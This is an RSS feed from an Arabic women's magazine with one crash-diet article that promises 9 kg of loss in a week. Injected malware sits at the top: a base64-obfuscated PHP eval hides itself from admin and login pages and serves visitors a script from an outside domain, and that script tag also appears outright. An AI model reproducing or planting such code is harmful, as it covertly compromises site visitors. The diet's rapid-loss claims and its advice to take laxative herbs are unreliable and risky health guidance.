eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); 
<script src="//ak.akam60800.net/"></script><?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>جوزال | تخسيس الارداف</title>
	<atom:link href="https://jouzal.com/tag/%d8%aa%d8%ae%d8%b3%d9%8a%d8%b3-%d8%a7%d9%84%d8%a7%d8%b1%d8%af%d8%a7%d9%81/feed/" rel="self" type="application/rss+xml" />
	<link>https://jouzal.com</link>
	<description>مجلة نسائية عربية</description>
	<lastBuildDate>Tue, 19 Jan 2021 18:08:43 +0000</lastBuildDate>
	<language>ar</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://jouzal.com/wp-content/uploads/2021/10/جوزال-2.png</url>
	<title>جوزال | تخسيس الارداف</title>
	<link>https://jouzal.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>اسرع رجيم في 2021 لنحت دهون البطن والارداف 9 كيلو في اسبوع سالي فؤاد</title>
		<link>https://jouzal.com/%d8%a7%d8%b3%d8%b1%d8%b9-%d8%b1%d8%ac%d9%8a%d9%85-%d9%81%d9%8a-2021-%d9%84%d9%86%d8%ad%d8%aa-%d8%af%d9%87%d9%88%d9%86-%d8%a7%d9%84%d8%a8%d8%b7%d9%86-%d9%88%d8%a7%d9%84%d8%a7%d8%b1%d8%af%d8%a7%d9%81-9/</link>
		
		<dc:creator><![CDATA[طه حمودة]]></dc:creator>
		<pubDate>Mon, 25 Nov 2019 19:42:04 +0000</pubDate>
				<category><![CDATA[تخسيس و رشاقة]]></category>
		<category><![CDATA[رجيم و حمية غذائية]]></category>
		<category><![CDATA[#اسرع رجيم 2021]]></category>
		<category><![CDATA[#رجيم 2021]]></category>
		<category><![CDATA[#رجيم سريع 2021]]></category>
		<category><![CDATA[اسرع رجيم]]></category>
		<category><![CDATA[تخسيس الارداف]]></category>
		<category><![CDATA[تخسيس البطن]]></category>
		<category><![CDATA[حرق دهون البطن]]></category>
		<category><![CDATA[خسارة 9 كيلو]]></category>
		<category><![CDATA[خسارة الوزن]]></category>
		<category><![CDATA[دايت]]></category>
		<category><![CDATA[دايت قاسي]]></category>
		<category><![CDATA[رجيم]]></category>
		<category><![CDATA[رجيم 2020]]></category>
		<category><![CDATA[رجيم الثلاث ايام السحري]]></category>
		<category><![CDATA[رجيم سالي فؤاد]]></category>
		<category><![CDATA[رجيم سالي فؤاد 2020]]></category>
		<category><![CDATA[رجيم سالي فؤاد السحري]]></category>
		<category><![CDATA[رجيم سريع 2020]]></category>
		<category><![CDATA[سالي فؤاد]]></category>
		<category><![CDATA[نصائح سالي فؤاد]]></category>
		<guid isPermaLink="false">https://jouzal.com/?p=3832</guid>

					<description><![CDATA[رجيم سالي فؤاد اسرع رجيم في 2021.. لخسارة 9 كيلو دهون مع الحفاظ علي الكتلة العضلية للجسم، ويجب استشارة الطبيب قبل إتباع هذا الرجيم، للتأكد من مدي مناسبة هذا الدايت لطبيعة جسمك حتي لايعود علي صحتك بالسلب، حيث يختلف من شخص لآخر. نصائح هامة عند اتباع اسرع رجيم في 2021 يجب تناول مطحون بذرة الكتان [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>رجيم سالي فؤاد اسرع رجيم في 2021.. لخسارة 9 كيلو دهون مع الحفاظ علي الكتلة العضلية للجسم، ويجب استشارة الطبيب قبل إتباع هذا الرجيم، للتأكد من مدي مناسبة هذا الدايت لطبيعة جسمك حتي لايعود علي صحتك بالسلب، حيث يختلف من شخص لآخر.</p>
<h3>نصائح هامة عند اتباع اسرع رجيم في 2021</h3>
<ul>
<li>يجب تناول مطحون بذرة الكتان مع السلطة أو الزبادي الزبادي المطلوب هنا هو زبادي أكتيفيا، لأنه يساعد على الهضم الجيد، وتحسين عملية شد الجسم.</li>
<li>شرب 8 أكواب من الماء أو اكثر يومياً.</li>
<li>عمل رياضة لمدة ربع ساعة وهي المشي فقط.</li>
<li>غير مسموح مشروبات الدايت لأنها بالغالب تكون تجارية وتؤثر على البرنامج.</li>
<li>مسموح شرب القهوه و الشاي والاعشاب &#8220;بدون سكر&#8221;</li>
<li>مسموح تناول خس او خيار بين الوجبات (اختيار صنف واحد) ولكن قبل الوجبه بساعتين.</li>
<li>محاربة الامساك قـدر الامكان وتناول الاعشاب المسهلة.</li>
<li>تناول الطعام ببطء حتى تحس بالشبع السريع.</li>
<li>عدم إستهلاك السكر العادي ويرجى استخدام سكر دايت ومنهم &#8220;سبليندا&#8221;.</li>
<li>عدم استهلاك الحلويات لأنها تعمل على قتل هذا الريجيم و أيضا بطء في نزول الوزن.</li>
</ul>
<p>شاهد ايضاً: <a href="https://jouzal.com/%d8%b1%d8%ac%d9%8a%d9%85-%d8%a7%d9%84%d9%85%d8%a7%d8%a1-%d9%88%d8%a7%d9%84%d8%b4%d8%a7%d9%8a-%d8%ad%d8%a7%d8%b1%d9%82-%d8%a7%d9%84%d8%af%d9%87%d9%88%d9%86-8-%d9%83%d9%8a%d9%84%d9%88-%d9%81%d9%8a/">رجيم الماء والشاي حارق الدهون 8 كيلو في أسبوع دايت قاسي جدا سالي فؤاد</a></p>
<div id="attachment_3899" style="width: 1210px" class="wp-caption alignnone"><img fetchpriority="high" decoding="async" aria-describedby="caption-attachment-3899" class="size-full wp-image-3899" src="http://jouzal.com/wp-content/uploads/2019/11/14-day-meal-plan-presentation-16-9.jpg" alt="" width="1200" height="675" srcset="https://jouzal.com/wp-content/uploads/2019/11/14-day-meal-plan-presentation-16-9.jpg 1200w, https://jouzal.com/wp-content/uploads/2019/11/14-day-meal-plan-presentation-16-9-300x169.jpg 300w, https://jouzal.com/wp-content/uploads/2019/11/14-day-meal-plan-presentation-16-9-1024x576.jpg 1024w, https://jouzal.com/wp-content/uploads/2019/11/14-day-meal-plan-presentation-16-9-768x432.jpg 768w, https://jouzal.com/wp-content/uploads/2019/11/14-day-meal-plan-presentation-16-9-390x220.jpg 390w" sizes="(max-width: 1200px) 100vw, 1200px" /><p id="caption-attachment-3899" class="wp-caption-text">رجيم سالي فؤاد اسرع رجيم في 2020</p></div>
<h2>ايام اسرع رجيم في 2021</h2>
<p>وجبة الفطار ثابتة طوال أيام الاسبوع 2 بيضة مسلوقه + حبة خيار + مرتديلا حسب الرغبة.</p>
<h2>السبت</h2>
<p>الغداء: طبق سلطة بدون طماطم و جزر، والسبب أن الطماطم فيها أملاح وتحبس سوائل الجسم، والجزر غني بالسعرات التي من شأنها تقوم بعمل في بطء نزول الوزن<br />
العشاء: لحم مشوي &#8220;قطعة ستيك خالية من الملح + زبادي الأكتيفيا.</p>
<h2>الأحد</h2>
<p>الغداء :- دجاج مسلوق اومشوي و أكتيفيا بملعقة من مطحون بذرة الكتان<br />
العشاء:- 2 بيضه مسلوقه + سلطه (خيار,خس,فلفل اخضر و ملفوف وبقدونس)</p>
<h2>الإثنين</h2>
<p>الغداء:- جبن قريش او جبن منزوع الدسم مقدار 80 جرام.</p>
<p>العشاء:- لحم مشوي او مفروم أو صدر دجاجة مسلوق أو مشوي.</p>
<p>https://www.youtube.com/watch?v=Rjg4TixYHLs</p>
<h2>الثلاثاء</h2>
<p>الغداء : حبه كيوي أو حبتين (نرجو التقيد).<br />
العشاء: علبة تونة بالماء واذا كان عندك اللي فيها زيت يجب أن يصفى مع لبن أكتيفيا وملعقة صغيرة مطحون بذر الكتان.</p>
<h2>الاربعاء</h2>
<p>الغداء:- خضار مسلوق ويجب عدم اضافة الملح الا بكمية بسيطة.</p>
<p>العشاء:- سمك اوجمبري اوتونه مصفاه من الزيت + سلطه مع لبن أكتيفيا.</p>
<p>يهمك ايضاً: <a href="https://alreyadanews.com/life-style/health/fitness/%d9%86%d8%b5%d8%a7%d8%a6%d8%ad-%d8%b3%d8%a7%d9%84%d9%8a-%d9%81%d8%a4%d8%a7%d8%af-%d9%84%d8%aa%d9%86%d8%b2%d9%8a%d9%84-%d8%a7%d9%84%d8%a8%d8%b7%d9%86-%d9%88%d8%a7%d9%84%d8%aa%d8%ae%d9%84%d8%b5-%d9%85%d9%86-%d8%a7%d9%84%d9%83%d8%b1%d8%b4-%d9%86%d9%87%d8%a7%d8%a6%d9%8a%d8%a7%d9%8b-%d8%a8%d8%af%d9%88%d9%86-%d8%b1%d8%ac%d9%8a%d9%85-%d8%a7%d9%88-%d8%ad%d8%b1%d9%85%d8%a7%d9%86/"><span class="post-title">نصائح سالي فؤاد لتنزيل البطن والتخلص من الكرش نهائياً بدون رجيم أو حرمان</span></a></p>
<h2>الخميس</h2>
<p>الغداء: لحم مسلوق وسلطة بملعقة من مطحون بذرة الكتان.</p>
<p>العشاء: صحن شاورما بدون خبز &#8220;فقط هذا اليوم&#8221;.</p>
<h2>الجمعة</h2>
<p>الغداء : دجاج مسلوق + صحن سلطة خضراء + لبن أكتيفيا.<br />
العشاء: مرتدلا بقري (3 شرائح) لبن أكتيفيا.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>